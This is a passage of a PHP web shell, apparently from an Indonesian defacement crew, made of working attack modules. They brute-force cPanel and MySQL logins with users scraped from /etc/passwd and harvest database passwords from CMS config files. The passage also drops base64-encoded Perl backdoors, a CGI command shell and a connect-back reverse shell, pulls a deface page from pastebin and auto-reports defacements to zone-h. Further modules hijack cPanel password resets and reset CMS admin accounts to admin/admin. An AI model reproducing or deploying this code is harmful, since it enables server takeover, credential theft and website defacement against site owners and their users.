  895. echo "Filename : <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>";
  896. echo "<div class=\"viewfile\">";
  897. $file = wordwrap(@file_get_contents($file), "240", "\n");
  898. @highlight_string($file);
  899. echo "</div>";
  900. } elseif (is_dir($_GET['view'])) {
  901. echo showdir($dir, $prompt);
  902. }
  903. }
  904.  
  905. //end act
  906.  
  907. elseif (isset($_GET['do']) && ($_GET['do'] == 'cpanel')) {
  908. if ($_POST['crack']) {
  909. $usercp = explode("\r\n", $_POST['user_cp']);
  910. $passcp = explode("\r\n", $_POST['pass_cp']);
  911. $i = 0;
  912. foreach ($usercp as $ucp) {
  913. foreach ($passcp as $pcp) {
  914. if (@mysql_connect('localhost', $ucp, $pcp)) {
  915. if ($_SESSION[$ucp] && $_SESSION[$pcp]) {
  916. } else {
  917. $_SESSION[$ucp] = "1";
  918. $_SESSION[$pcp] = "1";
  919. $i++;
  920. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  921. }
  922. }
  923. }
  924. session_unset();
  925. session_destroy();
  926. }
  927. if ($i == 0) {
  928. } else {
  929. echo "<br>Nemu " . $i . " Cpanel by <font color=lime>3rr0r Hun73r</font>";
  930. }
  931. } elseif ($_POST['scanpass']) {
  932. echo "<center>
  933. <form method='post'>
  934. USER: <br>
  935. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  936. $_usercp = $etcpasswd;
  937. preg_match_all("/(.*?):x:/", $_usercp, $u);
  938. foreach ($u[1] as $user_cp) {
  939. // if (is_dir("/home/$user_cp/public_html")) {
  940. echo "$user_cp\n";
  941.  
  942. // }
  943. }
  944. echo "</textarea><br>
  945. PASS: <br>
  946. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  947. function cp_pass($dir)
  948. {
  949. $pass = "";
  950. $dira = scandir($dir);
  951. foreach ($dira as $dirb) {
  952. if (!is_file("$dir/$dirb")) {
  953. continue;
  954. }
  955.  
  956. $ambil = file_get_contents("$dir/$dirb");
  957. if (preg_match("/WordPress/", $ambil)) {
  958. $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
  959. } elseif (preg_match("/JConfig|joomla/", $ambil)) {
  960. $pass .= ambilkata($ambil, "password = '", "'") . "\n";
  961. } elseif (preg_match("/konekDB/", $ambil)) {
  962. $pass .= ambilkata($ambil, "$password = '", "'") . "\n";
  963. } elseif (preg_match("/cmsmember/", $ambil)) {
  964. $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
  965. } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
  966. $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
  967. } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  968. $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
  969. } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  970. $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
  971. } elseif (preg_match("/client/", $ambil)) {
  972. preg_match("/password=(.*)/", $ambil, $pass1);
  973. if (preg_match('/"/', $pass1[1])) {
  974. $pass1[1] = str_replace('"', "", $pass1[1]);
  975. $pass .= $pass1[1] . "\n";
  976. }
  977. } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
  978. $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
  979. }
  980. }
  981. echo $pass;
  982. }
  983. $cp_pass = cp_pass($dir);
  984. echo $cp_pass;
  985. echo "</textarea><br>
  986. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  987. </form>
  988. <br></center>";
  989. } else {
  990. echo "<center>
  991. <form method='post'>
  992. USER: <br>
  993. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  994. $_usercp = $etcpasswd;
  995. preg_match_all("/(.*?):x:/", $_usercp, $u);
  996. foreach ($u[1] as $user_cp) {
  997. // if (is_dir("/home/$user_cp/public_html")) {
  998. echo "$user_cp\n";
  999.  
  1000. // }
  1001. }
  1002. echo "</textarea><br>
  1003. PASS: <br>
  1004. <textarea style='width: 450px; height: 200px;' name='pass_cp'></textarea><br>
  1005. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1006. <input type='submit' name='scanpass' style='width: 450px;' value='Scan Password'>
  1007. </form>
  1008. <br></center>";
  1009. }
  1010. } elseif (isset($_GET['do']) && ($_GET['do'] == 'cgi')) {
  1011. echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
  1012. mkdir('cgitelnet1', 0755);
  1013. chdir('cgitelnet1');
  1014. $kokdosya = ".htaccess";
  1015. $dosya_adi = "$kokdosya";
  1016. $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
  1017. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1018.  
  1019. AddType application/x-httpd-cgi .cin
  1020.  
  1021. AddHandler cgi-script .cin
  1022. AddHandler cgi-script .cin";
  1023. fwrite($dosya, $metin);
  1024. fclose($dosya);
  1025. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBSZWNvZGVkIEJ5IDB4MTk5OQoKJFdpbk5UID0gMDsKJE5UQ21kU2VwID0gIiYiOwokVW5peENtZFNlcCA9ICI7IjsKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBBMEEwQSIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT48YnI+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJCSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwoKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7CiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQo=';
  1026.  
  1027. $file = fopen("izo.cin", "w+");
  1028. $write = fwrite($file, base64_decode($cgishellizocin));
  1029. fclose($file);
  1030. chmod("izo.cin", 0755);
  1031. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  1032. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  1033. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  1034. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  1035. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  1036. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  1037. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  1038. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  1039. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  1040. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  1041. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  1042. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  1043. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  1044. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  1045. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  1046. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  1047. YXRhY2hlZFxuXG4iOw==';
  1048.  
  1049. $file = fopen("dc.pl", "w+");
  1050. $write = fwrite($file, base64_decode($netcatshell));
  1051. fclose($file);
  1052. chmod("dc.pl", 0755);
  1053. echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe>
  1054.  
  1055.  
  1056. </div>";
  1057.  
  1058. } elseif (isset($_GET['do']) && ($_GET['do'] == 'deleteme')) {
  1059. function delete_dir($dir)
  1060. {
  1061. if (is_link($dir)) {
  1062. unlink($dir);
  1063. } elseif (!file_exists($dir)) {
  1064. return;
  1065. } elseif (is_dir($dir)) {
  1066. foreach (scandir($dir) as $file) {
  1067. if ($file != '.' && $file != '..') {
  1068. delete_dir("$dir/$file");
  1069. }
  1070. }
  1071. rmdir($dir);
  1072. } elseif (is_file($dir)) {
  1073. unlink($dir);
  1074. } else {
  1075. echo "WARNING: Cannot delete $dir (unknown file type)\n";
  1076. }
  1077. }
  1078. delete_dir(dirname(__FILE__) . "/0xsym/");
  1079. delete_dir(dirname(__FILE__) . "/0xsymlink/");
  1080. delete_dir(dirname(__FILE__) . "/MeLeX/");
  1081. delete_dir(dirname(__FILE__) . "/0xsymv/");
  1082. delete_dir(dirname(__FILE__) . "/0xsym404/");
  1083. delete_dir(dirname(__FILE__) . "/cgitelnet1/");
  1084. delete_dir(dirname(__FILE__) . "/0x1/");
  1085. unlink(__FILE__);
  1086. echo "<script>window.location='./';</script>";
  1087. } elseif (isset($_GET['do']) && ($_GET['do'] == 'mirror')) {
  1088. if ($_POST['arsip'] == '1') {
  1089. $domain = explode("\r\n", $_POST['url']);
  1090. $nick = $_POST['nick'];
  1091. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1092. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1093. function zoneh($url, $nick)
  1094. {
  1095. $ch = curl_init("http://www.zone-h.com/notify/single");
  1096. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1097. curl_setopt($ch, CURLOPT_POST, true);
  1098. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1099. return curl_exec($ch);
  1100. curl_close($ch);
  1101. }
  1102. foreach ($domain as $url) {
  1103. $zoneh = zoneh($url, $nick);
  1104. if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1105. echo "$url -> <font color=lime>OK</font><br>";
  1106. } else {
  1107. echo "$url -> <font color=red>ERROR</font><br>";
  1108. }
  1109. }
  1110. }if ($_POST['arsip'] == '2') {
  1111. $site = explode("\r\n", $_POST['sites']);
  1112. $hekel = $_POST['nick'];
  1113. $tim = $_POST['tim'];
  1114. foreach ($site as $sites) {
  1115. $zh = $sites;
  1116. $form_url = "https://www.defacer.id/notify";
  1117. $data_to_post = array();
  1118. $data_to_post['attacker'] = "$hekel";
  1119. $data_to_post['team'] = "$tim";
  1120. $data_to_post['poc'] = 'SQL Injection';
  1121. $data_to_post['url'] = "$zh";
  1122. $curl = curl_init();
  1123. curl_setopt($curl, CURLOPT_URL, $form_url);
  1124. curl_setopt($curl, CURLOPT_POST, sizeof($data_to_post));
  1125. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  1126. curl_setopt($curl, CURLOPT_POSTFIELDS, $data_to_post);
  1127. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1128. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  1129. $result = curl_exec($curl);
  1130. echo $result;
  1131. curl_close($curl);
  1132. echo "<br>";
  1133. }
  1134.  
  1135. } else {
  1136. echo "
  1137. <script type='text/javascript'>//<![CDATA[
  1138. window.onload=function(){
  1139. document.getElementById('arsip').addEventListener('change', function () {
  1140. var style = this.value == 2 ? 'block' : 'none';
  1141. document.getElementById('defacerid').style.display = style;
  1142. });
  1143. }//]]>
  1144.  
  1145. </script><center>
  1146. <form method='post'>
  1147. <select class='select' id='arsip' name='arsip' style='width: 450px;' height='10'>
  1148. <option value='1'>Zone-h</option>
  1149. <option value='2'>Defacer ID</option></select><br>
  1150. <u>Defacer</u>: <br>
  1151. <input type='text' name='nick' size='50' value='3rr0r Hun73r'><br>
  1152. <div id='defacerid' style='display: none;'><br>
  1153. <u>Team</u>:<br>
  1154. <input type='text' name='tim' size='50' value='3rr0r Hun73r'><br><br>
  1155. </div>
  1156. <u>Domains</u>: <br>
  1157. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1158. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1159. </form>";
  1160. }
  1161. echo "</center>";
  1162. } elseif (isset($_GET['do']) && ($_GET['do'] == 'hek')) {
  1163. $url = "http://" . $_SERVER['SERVER_NAME'] . "/hunter.html";
  1164. $hh = $_SERVER['DOCUMENT_ROOT'] . "/hunter.html";
  1165. @file_put_contents($hh, file_get_contents("https://pastebin.com/raw/FWg6UHEa"));
  1166. function zoneh($url, $nick)
  1167. {
  1168. $ch = curl_init("http://www.zone-h.com/notify/single");
  1169. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1170. curl_setopt($ch, CURLOPT_POST, true);
  1171. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1172. return curl_exec($ch);
  1173. curl_close($ch);
  1174. }
  1175. $zoneh = zoneh($url, "3rr0r Hun73r");
  1176. if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1177. echo "$url -> <font color=lime>OK</font><br>";
  1178. } else {
  1179. echo "$url -> <font color=red>ERROR</font><br>";
  1180. }
  1181. } elseif (isset($_GET['do']) && ($_GET['do'] == 'cpres')) {
  1182. echo "Enter email account : <form method='post'><input type='text' name='email' value='alexmax5046@gmail.com'> <input type='submit' value='Gas'></form>";
  1183. if ($_POST['email']) {
  1184. $file3 = $_POST['email'];
  1185. $fp3 = fopen("/home/" . $user . "/.contactemail", "w");
  1186. $fw3 = fwrite($fp3, $file3);
  1187. @fclose($fp3);
  1188. $fp4 = fopen("/home/" . $user . "/.cpanel/contactinfo", "w");
  1189. $fw4 = fwrite($fp4, $file3);
  1190. @fclose($fp4);
  1191. $link = $_SERVER['HTTP_HOST'];
  1192. echo "Login here : <a href='https://$link:2083/resetpass?start=1&user=$user' target='_BLANK'>https://$link:2083/resetpass?start=1&user=$user</a> or <a href='http://$link:2082/resetpass?start=1&user=$user' target='_BLANK'>http://$link:2082/resetpass?start=1&user=$user</a>";
  1193. }
  1194. } elseif (isset($_GET['do']) && ($_GET['do'] == 'crp')) {
  1195. if ($_POST['gass']) {
  1196. echo "<center><h1>Config Reset Password</h1>
  1197. <form method='post'>
  1198. Link Config: <br>
  1199. <textarea name='link' style='width: 450px; height:250px;'>";
  1200. UrlLoop($_POST['linkconf'], $_POST['tipe']);
  1201. echo "</textarea><br>
  1202. <input type='submit' style='width: 450px;' name='ngentuconfig' value='Hajar!!'>
  1203. </form></center>";
  1204. } else {
  1205. echo '<center>
  1206. <h1>Config Reset Password</h1>
  1207. <form method="post">
  1208. Select Type :<br><select class="select" name="tipe" style="width: 450px;" height="10">
  1209. <option value="Wordpress">Wordpress</option>
  1210. <option value="Joomla">Joomla</option>
  1211. <option value="Lokomedia">Lokomedia</option>
  1212. <option value="Magento">Magento</option>
  1213. <option value="OpenCart">OpenCart</option>
  1214. <option value="txt">All Config</option>
  1215. </select><br>
  1216. Link Config :<br>
  1217. <input type="text" name="linkconf" height="10" style="width: 450px;" placeholder="http://0xdark.com/cox_symconf/"><br>
  1218. <input type="submit" style="width: 450px;" name="gass" value="Hajar!!">
  1219. </form></center>';
  1220. }
  1221. if ($_POST['ngentuconfig']) {
  1222. echo "<center><table style='width:100%'>
  1223. <tr>
  1224. <th>CMS</th>
  1225. <th>User</th>
  1226. <th>Password</th>
  1227. <th>Login</th>
  1228. <th>Config</th>
  1229. </tr>";
  1230. $user = 'admin';
  1231. $pass = "admin";
  1232. $passx = md5($pass);
  1233. $link = explode("\r\n", $_POST['link']);
  1234.  
  1235. foreach ($link as $file_conf) {
  1236. $config = file_get_contents($file_conf);
  1237. if (preg_match("/JConfig|joomla/", $config)) {
  1238. $dbhost = ambilkata($config, "host = '", "'");
  1239. $dbuser = ambilkata($config, "user = '", "'");
  1240. $dbpass = ambilkata($config, "password = '", "'");
  1241. $dbname = ambilkata($config, "db = '", "'");
  1242. $dbprefix = ambilkata($config, "dbprefix = '", "'");
  1243. $prefix = $dbprefix . "users";
  1244. $conn = mysql_connect($dbhost, $dbuser, $dbpass);
  1245. $db = mysql_select_db($dbname);
  1246. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1247. $result = mysql_fetch_array($q);
  1248. $id = $result['id'];
  1249. $site = ambilkata($config, "sitename = '", "'");
  1250. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
